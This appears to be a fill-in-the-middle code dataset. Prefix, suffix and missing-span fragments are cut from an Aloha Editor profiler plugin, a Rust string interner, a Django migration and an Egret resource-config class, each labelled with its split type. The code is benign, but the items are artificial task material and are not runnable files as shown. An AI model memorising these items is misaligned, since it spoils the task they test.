profiler-plugin.js
License * as published by the Free Software Foundation; either version 2 * of the License, or any later version. * * Aloha Editor is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA. * * As an additional permission to the GNU GPL version 2, you may distribute * non-source (e.g., minimized or compacted) forms of the Aloha-Editor * source code without the copy of the GNU GPL normally required, * provided you include this license notice and a URL through which * recipients can access the Corresponding Source. */ /* Aloha Profiler * -------------- * Provides a useful interface to profile some of Aloha components and their * methods. * * Potentially process intensive methods: * Aloha.Profiler.profileAlohaComponent('Markup.preProcessKeyStrokes') * Aloha.Profiler.profileAlohaComponent('Selection._updateSelection') */ window.define( [ 'aloha/core', 'aloha/plugin', 'aloha/editable', // 'aloha/sidebar', 'aloha/selection', 'aloha/markup', 'aloha/contenthandlermanager', 'aloha/floatingmenu', 'aloha/console', 'css!profiler/css/profiler' ], function( Aloha, Plugin, /* Sidebar */ Editable, Selection, Markup, ContentHandlerManager, FloatingMenu, console ) { // 'caller', 'callee', and 'arguments' properties may not be accessed on // strict mode functions or the arguments objects for calls to them // var jQuery = Aloha.jQuery, profiledFunctions = [], // get the arguments string literal of this function, and split it into // an array of names argsStr = ( /function[^\(]*\(([^\)]+)/g ).exec( arguments.callee.toString() ), argNames = argsStr ? argsStr[1].replace( /^\s+|\s+$/g, '' ).split( /\,\s*/ ) : [], args = Array.prototype.slice.call( arguments ); /** * @param {String} path dot seperated path to resolve inside a given object * or browser window * @param {?Object} object inwhich to resolve a path. If no object is * passed, the browser window object will be used instead * @return {?} Object */ function resolvePath(path, obj) { if ( typeof path !== 'string' ) { return path; } if ( !obj || typeof obj !== 'object' ) { obj = window; } var parts = path.split( '.' ), i = 0, j = parts.length; for ( ; i < j; ++i ) { obj = obj[ parts[ i ] ]; if ( typeof obj === 'undefined' ) { console.error( 'Aloha.Profiler', 'Property "' + parts[ i ] + '" does not exist' + ( i ? ' in object ' + parts.slice( 0, i ).join( '.' ) : '' ) ); return null; } } return obj; }; function parseObjectPath( path, obj ) { if ( typeof path !== 'string' ) { return null; } var parts = path.split( '.' ), pathToProp = parts.slice( 0, Math.max( 1, parts.length - 1 ) ).join( '.' ), prop; obj = resolvePath( pathToProp, obj ); if ( !obj ) { return null; } if ( parts.length > 1 ) { var lastProp = parts[ parts.length - 1 ]; if ( typeof obj[ lastProp ] === 'undefined' ) { console.error( 'Aloha.Profiler', 'Property "' + lastProp + '" does not exist in object ' +
return { obj : obj[ prop ], path : path, parentObj : obj, propName : prop }; }; var panel; function initSidebarPanel(sidebar) { sidebar.addPanel( { id : 'aloha-devtool-profiler-panel', title : 'Aloha Profiler', expanded : true, activeOn : true, content : '' + '<div id="aloha-devtool-profiler-container">' + '<input id="aloha-devtool-profiler-input" ' + 'value="Aloha.Profiler.profileAlohaComponent(\'Markup.preProcessKeyStrokes\')" />' + '<ul id="aloha-devtool-profiler-console"></ul>' + '</div>', onInit : function() { this.content.find( 'input#aloha-devtool-profiler-input' ).keydown( function( event ) { // Handle ENTER if ( event.keyCode === 13 ) { var input = jQuery( this ); var value = input.val(); if ( value ) { eval( value ); PanelConsole.log( value ); input.val( '' ); } } } ); } } ); sidebar.show().open(); }; var PanelConsole = { log: function() { jQuery( '#aloha-devtool-profiler-console' ) .prepend( '<li>' + Array.prototype.slice.call( arguments ).join( ' ' ) + '</li>' ); } } Aloha.Profiler = Plugin.create( 'profiler', { /** * Explose all dependencies to allow easy access. eg: * If the 5th dependency was Markup, then: * Aloha.Profiler.profile(Aloha.Profiler.alohaObjects[4], 'preProcessKeyStrokes') * would start profiling the Markup.preProcessKeyStrokes method. */ loadedDependencies: Array.prototype.slice.call( arguments ), /** * Provides a better interface to access various components of Aloha. * eg: Aloha.Profiler.profile(Aloha.Profiler.alohaComponents[ 'Markup' ], 'preProcessKeyStrokes') */ alohaComponents: {}, panel: null, /** * Initializes Profiler plugin by populating alohaComponents with all * arguments of our define function, mapping name, to object */ init: function() { var j = argNames.length; while ( --j >= 0 ) { this.alohaComponents[ argNames[ j ] ] = args[ j ]; } var that = this; Aloha.ready( function() { if ( Aloha.Sidebar && Aloha.Sidebar.right ) { that.panel = initSidebarPanel( Aloha.Sidebar.right ); } } ); }, log: function() { PanelConsole.log.apply( PanelConsole, arguments ); }, /** * Shortcut to profile one of the Aloha components that was required by * Aloha Profiler. * * @param {String} path * @param {String} fnName */ profileAlohaComponent: function( path, fnName ) { var parts = parseObjectPath( path, this.alohaComponents ); return this.profile( parts.parentObj, fnName || parts.propName ); }, /** * @param {(Object|String)} obj object or path to object that contains * the function we want to profile. Or the path to the * function itself * @param {String} fnName name of function inside obj, which we want to * profile * @param {?Function(Function, Array):Boolean} intercept functiont to * call each time this method is invoked */ profile: function( obj, fnName, intercept ) { var path, parts, objIndex = -1, i; if ( typeof obj === 'string' ) { parts = parseObjectPath( obj ); obj = parts.parentObj; path = parts.path + ( fnName ? '.' + fnName : '' ); if ( parts.propName ) { if ( typeof parts.obj === 'function' ) { fnName = parts.propName; } else if ( parts.obj === 'object' ) { obj = parts.obj; } } } if ( !obj || !fnName || typeof obj[ fnName ] !== 'function' ) { return; } for ( i = 0; i < profiledFunctions.length; ++i ) { if ( profiledFunctions[ i ] === obj ) { objIndex = i; if ( profiledFunctions[ i ][ fnName ] ) { return; } } } var fn = obj[ fnName ];
pathToProp ); } else { prop = lastProp; } }
random_line_split
profiler-plugin.js
Public License * as published by the Free Software Foundation; either version 2 * of the License, or any later version. * * Aloha Editor is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA. * * As an additional permission to the GNU GPL version 2, you may distribute * non-source (e.g., minimized or compacted) forms of the Aloha-Editor * source code without the copy of the GNU GPL normally required, * provided you include this license notice and a URL through which * recipients can access the Corresponding Source. */ /* Aloha Profiler * -------------- * Provides a useful interface to profile some of Aloha components and their * methods. * * Potentially process intensive methods: * Aloha.Profiler.profileAlohaComponent('Markup.preProcessKeyStrokes') * Aloha.Profiler.profileAlohaComponent('Selection._updateSelection') */ window.define( [ 'aloha/core', 'aloha/plugin', 'aloha/editable', // 'aloha/sidebar', 'aloha/selection', 'aloha/markup', 'aloha/contenthandlermanager', 'aloha/floatingmenu', 'aloha/console', 'css!profiler/css/profiler' ], function( Aloha, Plugin, /* Sidebar */ Editable, Selection, Markup, ContentHandlerManager, FloatingMenu, console ) { // 'caller', 'callee', and 'arguments' properties may not be accessed on // strict mode functions or the arguments objects for calls to them // var jQuery = Aloha.jQuery, profiledFunctions = [], // get the arguments string literal of this function, and split it into // an array of names argsStr = ( /function[^\(]*\(([^\)]+)/g ).exec( arguments.callee.toString() ), argNames = argsStr ? argsStr[1].replace( /^\s+|\s+$/g, '' ).split( /\,\s*/ ) : [], args = Array.prototype.slice.call( arguments ); /** * @param {String} path dot seperated path to resolve inside a given object * or browser window * @param {?Object} object inwhich to resolve a path. If no object is * passed, the browser window object will be used instead * @return {?} Object */ function resolvePath(path, obj) { if ( typeof path !== 'string' ) { return path; } if ( !obj || typeof obj !== 'object' ) { obj = window; } var parts = path.split( '.' ), i = 0, j = parts.length; for ( ; i < j; ++i ) { obj = obj[ parts[ i ] ]; if ( typeof obj === 'undefined' ) { console.error( 'Aloha.Profiler', 'Property "' + parts[ i ] + '" does not exist' + ( i ? ' in object ' + parts.slice( 0, i ).join( '.' ) : '' ) ); return null; } } return obj; }; function parseObjectPath( path, obj ) { if ( typeof path !== 'string' ) { return null; } var parts = path.split( '.' ), pathToProp = parts.slice( 0, Math.max( 1, parts.length - 1 ) ).join( '.' ), prop; obj = resolvePath( pathToProp, obj ); if ( !obj ) { return null; } if ( parts.length > 1 ) { var lastProp = parts[ parts.length - 1 ]; if ( typeof obj[ lastProp ] === 'undefined' )
else { prop = lastProp; } } return { obj : obj[ prop ], path : path, parentObj : obj, propName : prop }; }; var panel; function initSidebarPanel(sidebar) { sidebar.addPanel( { id : 'aloha-devtool-profiler-panel', title : 'Aloha Profiler', expanded : true, activeOn : true, content : '' + '<div id="aloha-devtool-profiler-container">' + '<input id="aloha-devtool-profiler-input" ' + 'value="Aloha.Profiler.profileAlohaComponent(\'Markup.preProcessKeyStrokes\')" />' + '<ul id="aloha-devtool-profiler-console"></ul>' + '</div>', onInit : function() { this.content.find( 'input#aloha-devtool-profiler-input' ).keydown( function( event ) { // Handle ENTER if ( event.keyCode === 13 ) { var input = jQuery( this ); var value = input.val(); if ( value ) { eval( value ); PanelConsole.log( value ); input.val( '' ); } } } ); } } ); sidebar.show().open(); }; var PanelConsole = { log: function() { jQuery( '#aloha-devtool-profiler-console' ) .prepend( '<li>' + Array.prototype.slice.call( arguments ).join( ' ' ) + '</li>' ); } } Aloha.Profiler = Plugin.create( 'profiler', { /** * Explose all dependencies to allow easy access. eg: * If the 5th dependency was Markup, then: * Aloha.Profiler.profile(Aloha.Profiler.alohaObjects[4], 'preProcessKeyStrokes') * would start profiling the Markup.preProcessKeyStrokes method. */ loadedDependencies: Array.prototype.slice.call( arguments ), /** * Provides a better interface to access various components of Aloha. * eg: Aloha.Profiler.profile(Aloha.Profiler.alohaComponents[ 'Markup' ], 'preProcessKeyStrokes') */ alohaComponents: {}, panel: null, /** * Initializes Profiler plugin by populating alohaComponents with all * arguments of our define function, mapping name, to object */ init: function() { var j = argNames.length; while ( --j >= 0 ) { this.alohaComponents[ argNames[ j ] ] = args[ j ]; } var that = this; Aloha.ready( function() { if ( Aloha.Sidebar && Aloha.Sidebar.right ) { that.panel = initSidebarPanel( Aloha.Sidebar.right ); } } ); }, log: function() { PanelConsole.log.apply( PanelConsole, arguments ); }, /** * Shortcut to profile one of the Aloha components that was required by * Aloha Profiler. * * @param {String} path * @param {String} fnName */ profileAlohaComponent: function( path, fnName ) { var parts = parseObjectPath( path, this.alohaComponents ); return this.profile( parts.parentObj, fnName || parts.propName ); }, /** * @param {(Object|String)} obj object or path to object that contains * the function we want to profile. Or the path to the * function itself * @param {String} fnName name of function inside obj, which we want to * profile * @param {?Function(Function, Array):Boolean} intercept functiont to * call each time this method is invoked */ profile: function( obj, fnName, intercept ) { var path, parts, objIndex = -1, i; if ( typeof obj === 'string' ) { parts = parseObjectPath( obj ); obj = parts.parentObj; path = parts.path + ( fnName ? '.' + fnName : '' ); if ( parts.propName ) { if ( typeof parts.obj === 'function' ) { fnName = parts.propName; } else if ( parts.obj === 'object' ) { obj = parts.obj; } } } if ( !obj || !fnName || typeof obj[ fnName ] !== 'function' ) { return; } for ( i = 0; i < profiledFunctions.length; ++i ) { if ( profiledFunctions[ i ] === obj ) { objIndex = i; if ( profiledFunctions[ i ][ fnName ] ) { return; } } } var fn = obj[ fnName ];
{ console.error( 'Aloha.Profiler', 'Property "' + lastProp + '" does not exist in object ' + pathToProp ); }
conditional_block
profiler-plugin.js
License * as published by the Free Software Foundation; either version 2 * of the License, or any later version. * * Aloha Editor is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA. * * As an additional permission to the GNU GPL version 2, you may distribute * non-source (e.g., minimized or compacted) forms of the Aloha-Editor * source code without the copy of the GNU GPL normally required, * provided you include this license notice and a URL through which * recipients can access the Corresponding Source. */ /* Aloha Profiler * -------------- * Provides a useful interface to profile some of Aloha components and their * methods. * * Potentially process intensive methods: * Aloha.Profiler.profileAlohaComponent('Markup.preProcessKeyStrokes') * Aloha.Profiler.profileAlohaComponent('Selection._updateSelection') */ window.define( [ 'aloha/core', 'aloha/plugin', 'aloha/editable', // 'aloha/sidebar', 'aloha/selection', 'aloha/markup', 'aloha/contenthandlermanager', 'aloha/floatingmenu', 'aloha/console', 'css!profiler/css/profiler' ], function( Aloha, Plugin, /* Sidebar */ Editable, Selection, Markup, ContentHandlerManager, FloatingMenu, console ) { // 'caller', 'callee', and 'arguments' properties may not be accessed on // strict mode functions or the arguments objects for calls to them // var jQuery = Aloha.jQuery, profiledFunctions = [], // get the arguments string literal of this function, and split it into // an array of names argsStr = ( /function[^\(]*\(([^\)]+)/g ).exec( arguments.callee.toString() ), argNames = argsStr ? argsStr[1].replace( /^\s+|\s+$/g, '' ).split( /\,\s*/ ) : [], args = Array.prototype.slice.call( arguments ); /** * @param {String} path dot seperated path to resolve inside a given object * or browser window * @param {?Object} object inwhich to resolve a path. If no object is * passed, the browser window object will be used instead * @return {?} Object */ function resolvePath(path, obj)
); return null; } } return obj; } ; function parseObjectPath( path, obj ) { if ( typeof path !== 'string' ) { return null; } var parts = path.split( '.' ), pathToProp = parts.slice( 0, Math.max( 1, parts.length - 1 ) ).join( '.' ), prop; obj = resolvePath( pathToProp, obj ); if ( !obj ) { return null; } if ( parts.length > 1 ) { var lastProp = parts[ parts.length - 1 ]; if ( typeof obj[ lastProp ] === 'undefined' ) { console.error( 'Aloha.Profiler', 'Property "' + lastProp + '" does not exist in object ' + pathToProp ); } else { prop = lastProp; } } return { obj : obj[ prop ], path : path, parentObj : obj, propName : prop }; }; var panel; function initSidebarPanel(sidebar) { sidebar.addPanel( { id : 'aloha-devtool-profiler-panel', title : 'Aloha Profiler', expanded : true, activeOn : true, content : '' + '<div id="aloha-devtool-profiler-container">' + '<input id="aloha-devtool-profiler-input" ' + 'value="Aloha.Profiler.profileAlohaComponent(\'Markup.preProcessKeyStrokes\')" />' + '<ul id="aloha-devtool-profiler-console"></ul>' + '</div>', onInit : function() { this.content.find( 'input#aloha-devtool-profiler-input' ).keydown( function( event ) { // Handle ENTER if ( event.keyCode === 13 ) { var input = jQuery( this ); var value = input.val(); if ( value ) { eval( value ); PanelConsole.log( value ); input.val( '' ); } } } ); } } ); sidebar.show().open(); }; var PanelConsole = { log: function() { jQuery( '#aloha-devtool-profiler-console' ) .prepend( '<li>' + Array.prototype.slice.call( arguments ).join( ' ' ) + '</li>' ); } } Aloha.Profiler = Plugin.create( 'profiler', { /** * Explose all dependencies to allow easy access. eg: * If the 5th dependency was Markup, then: * Aloha.Profiler.profile(Aloha.Profiler.alohaObjects[4], 'preProcessKeyStrokes') * would start profiling the Markup.preProcessKeyStrokes method. */ loadedDependencies: Array.prototype.slice.call( arguments ), /** * Provides a better interface to access various components of Aloha. * eg: Aloha.Profiler.profile(Aloha.Profiler.alohaComponents[ 'Markup' ], 'preProcessKeyStrokes') */ alohaComponents: {}, panel: null, /** * Initializes Profiler plugin by populating alohaComponents with all * arguments of our define function, mapping name, to object */ init: function() { var j = argNames.length; while ( --j >= 0 ) { this.alohaComponents[ argNames[ j ] ] = args[ j ]; } var that = this; Aloha.ready( function() { if ( Aloha.Sidebar && Aloha.Sidebar.right ) { that.panel = initSidebarPanel( Aloha.Sidebar.right ); } } ); }, log: function() { PanelConsole.log.apply( PanelConsole, arguments ); }, /** * Shortcut to profile one of the Aloha components that was required by * Aloha Profiler. * * @param {String} path * @param {String} fnName */ profileAlohaComponent: function( path, fnName ) { var parts = parseObjectPath( path, this.alohaComponents ); return this.profile( parts.parentObj, fnName || parts.propName ); }, /** * @param {(Object|String)} obj object or path to object that contains * the function we want to profile. Or the path to the * function itself * @param {String} fnName name of function inside obj, which we want to * profile * @param {?Function(Function, Array):Boolean} intercept functiont to * call each time this method is invoked */ profile: function( obj, fnName, intercept ) { var path, parts, objIndex = -1, i; if ( typeof obj === 'string' ) { parts = parseObjectPath( obj ); obj = parts.parentObj; path = parts.path + ( fnName ? '.' + fnName : '' ); if ( parts.propName ) { if ( typeof parts.obj === 'function' ) { fnName = parts.propName; } else if ( parts.obj === 'object' ) { obj = parts.obj; } } } if ( !obj || !fnName || typeof obj[ fnName ] !== 'function' ) { return; } for ( i = 0; i < profiledFunctions.length; ++i ) { if ( profiledFunctions[ i ] === obj ) { objIndex = i; if ( profiledFunctions[ i ][ fnName ] ) { return; } } } var fn = obj[ fnName ];
{ if ( typeof path !== 'string' ) { return path; } if ( !obj || typeof obj !== 'object' ) { obj = window; } var parts = path.split( '.' ), i = 0, j = parts.length; for ( ; i < j; ++i ) { obj = obj[ parts[ i ] ]; if ( typeof obj === 'undefined' ) { console.error( 'Aloha.Profiler', 'Property "' + parts[ i ] + '" does not exist' + ( i ? ' in object ' + parts.slice( 0, i ).join( '.' ) : '' )
identifier_body
interner.rs
use std::cmp::Ordering; use std::fmt; use std::hash::{Hash, Hasher}; use std::ops::Deref; use Result; use base::fnv::FnvMap; use gc::{GcPtr, Gc, Traverseable}; use array::Str; /// Interned strings which allow for fast equality checks and hashing #[derive(Copy, Clone, Eq)] pub struct InternedStr(GcPtr<Str>); impl PartialEq<InternedStr> for InternedStr { fn eq(&self, other: &InternedStr) -> bool { self.as_ptr() == other.as_ptr() } } impl<'a> PartialEq<&'a str> for InternedStr { fn eq(&self, other: &&'a str) -> bool { **self == **other } } impl PartialOrd for InternedStr { fn partial_cmp(&self, other: &InternedStr) -> Option<Ordering> { self.as_ptr().partial_cmp(&other.as_ptr()) } } impl Ord for InternedStr { fn cmp(&self, other: &InternedStr) -> Ordering { self.as_ptr().cmp(&other.as_ptr()) } } impl Hash for InternedStr { fn hash<H>(&self, hasher: &mut H) where H: Hasher, { self.as_ptr().hash(hasher) } } unsafe impl Sync for InternedStr {} impl Deref for InternedStr { type Target = str; fn deref(&self) -> &str { &self.0 } } impl AsRef<str> for InternedStr { fn as_ref(&self) -> &str { &self.0 } } impl InternedStr { pub fn inner(&self) -> GcPtr<Str> { self.0 } } pub struct Interner { // For this map and this map only we can't use InternedStr as keys since the hash should // not be expected to be the same as ordinary strings, we use a transmute to &'static str to // have the keys as strings without any unsafety as the keys do not escape the interner and they // live as long as their values indexes: FnvMap<&'static str, InternedStr>, } impl Traverseable for Interner { fn traverse(&self, gc: &mut Gc) { for (_, v) in self.indexes.iter() { v.0.traverse(gc); } } } impl Interner { pub fn new() -> Interner { Interner { indexes: FnvMap::default() } } pub fn intern(&mut self, gc: &mut Gc, s: &str) -> Result<InternedStr> { match self.indexes.get(s) { Some(interned_str) => return Ok(*interned_str), None => (), } let gc_str = InternedStr(try!(gc.alloc(s))); // The key will live as long as the value it refers to and the static str never escapes // outside interner so this is safe let key: &'static str = unsafe { ::std::mem::transmute::<&str, &'static str>(&gc_str) }; self.indexes.insert(key, gc_str); Ok(gc_str) } } impl fmt::Debug for InternedStr { fn fmt(&self, f: &mut fmt::Formatter) -> fmt::Result { write!(f, "InternedStr({:?})", self.0) } } impl fmt::Display for InternedStr { fn fmt(&self, f: &mut fmt::Formatter) -> fmt::Result
}
{ write!(f, "{}", &self[..]) }
identifier_body
interner.rs
use std::cmp::Ordering; use std::fmt; use std::hash::{Hash, Hasher}; use std::ops::Deref; use Result; use base::fnv::FnvMap; use gc::{GcPtr, Gc, Traverseable}; use array::Str; /// Interned strings which allow for fast equality checks and hashing #[derive(Copy, Clone, Eq)] pub struct InternedStr(GcPtr<Str>); impl PartialEq<InternedStr> for InternedStr { fn eq(&self, other: &InternedStr) -> bool { self.as_ptr() == other.as_ptr() } } impl<'a> PartialEq<&'a str> for InternedStr { fn eq(&self, other: &&'a str) -> bool { **self == **other } } impl PartialOrd for InternedStr { fn partial_cmp(&self, other: &InternedStr) -> Option<Ordering> { self.as_ptr().partial_cmp(&other.as_ptr()) } } impl Ord for InternedStr { fn cmp(&self, other: &InternedStr) -> Ordering { self.as_ptr().cmp(&other.as_ptr()) } } impl Hash for InternedStr { fn hash<H>(&self, hasher: &mut H) where H: Hasher, { self.as_ptr().hash(hasher) } } unsafe impl Sync for InternedStr {} impl Deref for InternedStr { type Target = str; fn deref(&self) -> &str { &self.0 } } impl AsRef<str> for InternedStr { fn as_ref(&self) -> &str { &self.0 } } impl InternedStr { pub fn inner(&self) -> GcPtr<Str> { self.0 } } pub struct Interner { // For this map and this map only we can't use InternedStr as keys since the hash should // not be expected to be the same as ordinary strings, we use a transmute to &'static str to // have the keys as strings without any unsafety as the keys do not escape the interner and they // live as long as their values indexes: FnvMap<&'static str, InternedStr>, } impl Traverseable for Interner { fn traverse(&self, gc: &mut Gc) { for (_, v) in self.indexes.iter() { v.0.traverse(gc); } } } impl Interner { pub fn new() -> Interner { Interner { indexes: FnvMap::default() } } pub fn intern(&mut self, gc: &mut Gc, s: &str) -> Result<InternedStr> { match self.indexes.get(s) { Some(interned_str) => return Ok(*interned_str), None => (), } let gc_str = InternedStr(try!(gc.alloc(s))); // The key will live as long as the value it refers to and the static str never escapes // outside interner so this is safe let key: &'static str = unsafe { ::std::mem::transmute::<&str, &'static str>(&gc_str) }; self.indexes.insert(key, gc_str); Ok(gc_str) } } impl fmt::Debug for InternedStr { fn
(&self, f: &mut fmt::Formatter) -> fmt::Result { write!(f, "InternedStr({:?})", self.0) } } impl fmt::Display for InternedStr { fn fmt(&self, f: &mut fmt::Formatter) -> fmt::Result { write!(f, "{}", &self[..]) } }
fmt
identifier_name
interner.rs
use std::cmp::Ordering; use std::fmt; use std::hash::{Hash, Hasher}; use std::ops::Deref; use Result; use base::fnv::FnvMap; use gc::{GcPtr, Gc, Traverseable}; use array::Str; /// Interned strings which allow for fast equality checks and hashing #[derive(Copy, Clone, Eq)] pub struct InternedStr(GcPtr<Str>); impl PartialEq<InternedStr> for InternedStr { fn eq(&self, other: &InternedStr) -> bool { self.as_ptr() == other.as_ptr() } } impl<'a> PartialEq<&'a str> for InternedStr { fn eq(&self, other: &&'a str) -> bool { **self == **other } }
impl PartialOrd for InternedStr { fn partial_cmp(&self, other: &InternedStr) -> Option<Ordering> { self.as_ptr().partial_cmp(&other.as_ptr()) } } impl Ord for InternedStr { fn cmp(&self, other: &InternedStr) -> Ordering { self.as_ptr().cmp(&other.as_ptr()) } } impl Hash for InternedStr { fn hash<H>(&self, hasher: &mut H) where H: Hasher, { self.as_ptr().hash(hasher) } } unsafe impl Sync for InternedStr {} impl Deref for InternedStr { type Target = str; fn deref(&self) -> &str { &self.0 } } impl AsRef<str> for InternedStr { fn as_ref(&self) -> &str { &self.0 } } impl InternedStr { pub fn inner(&self) -> GcPtr<Str> { self.0 } } pub struct Interner { // For this map and this map only we can't use InternedStr as keys since the hash should // not be expected to be the same as ordinary strings, we use a transmute to &'static str to // have the keys as strings without any unsafety as the keys do not escape the interner and they // live as long as their values indexes: FnvMap<&'static str, InternedStr>, } impl Traverseable for Interner { fn traverse(&self, gc: &mut Gc) { for (_, v) in self.indexes.iter() { v.0.traverse(gc); } } } impl Interner { pub fn new() -> Interner { Interner { indexes: FnvMap::default() } } pub fn intern(&mut self, gc: &mut Gc, s: &str) -> Result<InternedStr> { match self.indexes.get(s) { Some(interned_str) => return Ok(*interned_str), None => (), } let gc_str = InternedStr(try!(gc.alloc(s))); // The key will live as long as the value it refers to and the static str never escapes // outside interner so this is safe let key: &'static str = unsafe { ::std::mem::transmute::<&str, &'static str>(&gc_str) }; self.indexes.insert(key, gc_str); Ok(gc_str) } } impl fmt::Debug for InternedStr { fn fmt(&self, f: &mut fmt::Formatter) -> fmt::Result { write!(f, "InternedStr({:?})", self.0) } } impl fmt::Display for InternedStr { fn fmt(&self, f: &mut fmt::Formatter) -> fmt::Result { write!(f, "{}", &self[..]) } }
random_line_split
0012_video.py
# -*- coding: utf-8 -*- # Generated by Django 1.9.2 on 2016-02-26 09:59 from __future__ import unicode_literals from django.db import migrations, models class Migration(migrations.Migration):
dependencies = [ ('directorio', '0011_auto_20160225_0957'), ] operations = [ migrations.CreateModel( name='Video', fields=[ ('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')), ('titulo', models.CharField(blank=True, max_length=100, null=True)), ('descripcion', models.CharField(blank=True, max_length=200, null=True)), ('enlace', models.CharField(max_length=200)), ('asignaturas', models.ManyToManyField(blank=True, null=True, to='directorio.Asignatura')), ], ), ]
identifier_body
0012_video.py
# -*- coding: utf-8 -*- # Generated by Django 1.9.2 on 2016-02-26 09:59 from __future__ import unicode_literals from django.db import migrations, models class
(migrations.Migration): dependencies = [ ('directorio', '0011_auto_20160225_0957'), ] operations = [ migrations.CreateModel( name='Video', fields=[ ('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')), ('titulo', models.CharField(blank=True, max_length=100, null=True)), ('descripcion', models.CharField(blank=True, max_length=200, null=True)), ('enlace', models.CharField(max_length=200)), ('asignaturas', models.ManyToManyField(blank=True, null=True, to='directorio.Asignatura')), ], ), ]
Migration
identifier_name
0012_video.py
# -*- coding: utf-8 -*- # Generated by Django 1.9.2 on 2016-02-26 09:59 from __future__ import unicode_literals from django.db import migrations, models class Migration(migrations.Migration): dependencies = [ ('directorio', '0011_auto_20160225_0957'), ] operations = [ migrations.CreateModel( name='Video', fields=[ ('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')), ('titulo', models.CharField(blank=True, max_length=100, null=True)), ('descripcion', models.CharField(blank=True, max_length=200, null=True)), ('enlace', models.CharField(max_length=200)), ('asignaturas', models.ManyToManyField(blank=True, null=True, to='directorio.Asignatura')), ],
), ]
random_line_split
ResourceConfig.ts
/** * Copyright (c) Egret-Labs.org. Permission is hereby granted, free of charge, * to any person obtaining a copy of this software and associated documentation * files (the "Software"), to deal in the Software without restriction, including * without limitation the rights to use, copy, modify, merge, publish, distribute, * sublicense, and/or sell copies of the Software, and to permit persons to whom * the Software is furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included * in all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, * INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR * PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE * FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, * ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. */ module RES { /** * @class RES.ResourceConfig * @classdesc */ export class
{ public constructor() { RES["configInstance"] = this; } /** * 根据组名获取组加载项列表 * @method RES.ResourceConfig#getGroupByName * @param name {string} 组名 * @returns {Array<egret.ResourceItem>} */ public getGroupByName(name:string):Array<ResourceItem> { var group:Array<ResourceItem> = new Array<ResourceItem>(); if (!this.groupDic[name]) return group; var list:Array<any> = this.groupDic[name]; var length:number = list.length; for (var i:number = 0; i < length; i++) { var obj:any = list[i]; group.push(this.parseResourceItem(obj)); } return group; } /** * 根据组名获取原始的组加载项列表 * @method RES.ResourceConfig#getRawGroupByName * @param name {string} 组名 * @returns {Array<any>} */ public getRawGroupByName(name:string):Array<any>{ if (this.groupDic[name]) return this.groupDic[name]; return []; } /** * 创建自定义的加载资源组,注意:此方法仅在资源配置文件加载完成后执行才有效。 * 可以监听ResourceEvent.CONFIG_COMPLETE事件来确认配置加载完成。 * @method RES.ResourceConfig#createGroup * @param name {string} 要创建的加载资源组的组名 * @param keys {egret.Array<string>} 要包含的键名列表,key对应配置文件里的name属性或sbuKeys属性的一项或一个资源组名。 * @param override {boolean} 是否覆盖已经存在的同名资源组,默认false。 * @returns {boolean} */ public createGroup(name:string, keys:Array<string>, override:boolean = false):boolean { if ((!override && this.groupDic[name]) || !keys || keys.length == 0) return false; var groupDic:any = this.groupDic; var group:Array<any> = []; var length:number = keys.length; for (var i:number = 0; i < length; i++) { var key:string = keys[i]; var g:Array<any> = groupDic[key]; if(g){ var len:number = g.length; for(var j:number=0;j<len;j++){ var item:any = g[j]; if (group.indexOf(item) == -1) group.push(item); } } else{ item = this.keyMap[key]; if (item && group.indexOf(item) == -1) group.push(item); } } if (group.length == 0) return false; this.groupDic[name] = group; return true; } /** * 一级键名字典 */ private keyMap:any = {}; /** * 加载组字典 */ private groupDic:any = {}; /** * 解析一个配置文件 * @method RES.ResourceConfig#parseConfig * @param data {any} 配置文件数据 * @param folder {string} 加载项的路径前缀。 */ public parseConfig(data:any, folder:string):void { if (!data) return; var resources:Array<any> = data["resources"]; if (resources) { var length:number = resources.length; for (var i:number = 0; i < length; i++) { var item:any = resources[i]; var url:string = item.url; if(url&&url.indexOf("://")==-1) item.url = folder + url; this.addItemToKeyMap(item); } } var groups:Array<any> = data["groups"]; if (groups) { length = groups.length; for (i = 0; i < length; i++) { var group:any = groups[i]; var list:Array<any> = []; var keys:Array<string> = (<string> group.keys).split(","); var l:number = keys.length; for (var j:number = 0; j < l; j++) { var name:string = keys[j].trim(); item = this.keyMap[name]; if (item && list.indexOf(item) == -1) { list.push(item); } } this.groupDic[group.name] = list; } } } /** * 添加一个二级键名到配置列表。 * @method RES.ResourceConfig#addSubkey * @param subkey {string} 要添加的二级键名 * @param name {string} 二级键名所属的资源name属性 */ public addSubkey(subkey:string,name:string):void{ var item:any = this.keyMap[name]; if(item&&!this.keyMap[subkey]){ this.keyMap[subkey] = item; } } /** * 添加一个加载项数据到列表 */ private addItemToKeyMap(item:any):void{ if(!this.keyMap[item.name]) this.keyMap[item.name] = item; if(item.hasOwnProperty("subkeys")){ var subkeys:Array<any> = (<string><any> (item.subkeys)).split(","); 